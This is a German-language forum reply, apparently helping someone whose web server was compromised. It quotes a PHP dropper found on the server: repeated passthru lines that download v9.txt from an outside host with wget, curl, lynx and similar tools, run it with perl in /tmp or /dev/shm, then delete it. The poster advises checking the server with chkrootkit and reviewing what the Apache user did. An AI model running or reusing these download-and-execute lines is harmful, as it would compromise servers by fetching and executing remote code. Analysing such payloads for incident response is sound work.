Hallo erstmal an alle
Hast du dir schonmal die txt datei anschaut?
Code
<title>By Morgan</title>
<?
passthru('cd /tmp;wget http://heidi.by.ru/v9.txt;perl v9.txt;rm -rf *v9*');
passthru('print By Morgan');
passthru('cd /tmp;curl -O http://heidi.by.ru/v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /tmp;lwp-download http://heidi.by.ru/v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /tmp;lynx -source http://heidi.by.ru/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /tmp;fetch http://heidi.by.ru/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /tmp;GET http://heidi.by.ru/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /dev/shm;wget http://heidi.by.ru/v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /dev/shm;curl -O http://heidi.by.ru/v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /dev/shm;lwp-download http://heidi.by.ru/v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /dev/shm;lynx -source http://heidi.by.ru/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /dev/shm;fetch http://heidi.by.ru/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*');
passthru('cd /dev/shm;GET http://heidi.by.ru/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*');
passthru('echo By Morgan');
passthru('printf By Morgann');
?>
// By Morgan
jetzt wäre natürlich interessant, was in der v9.txt stand, leider bekomm ich ein 403 dort.
edit: sry hab übersehen, dass du geschrieben hast, das du semmelstatz nicht installiert hattest ;)
edit, falls es doch jemanden so geht:
Aber ich würde dir empfehlen dein server zu untersuchen und zu checken was da so passiert ist... (evtl hilft dir chkrootkit) Dein Apache läuft als www-data oder? kannst du checken was der user alles verzapft hat?
gruß
Ice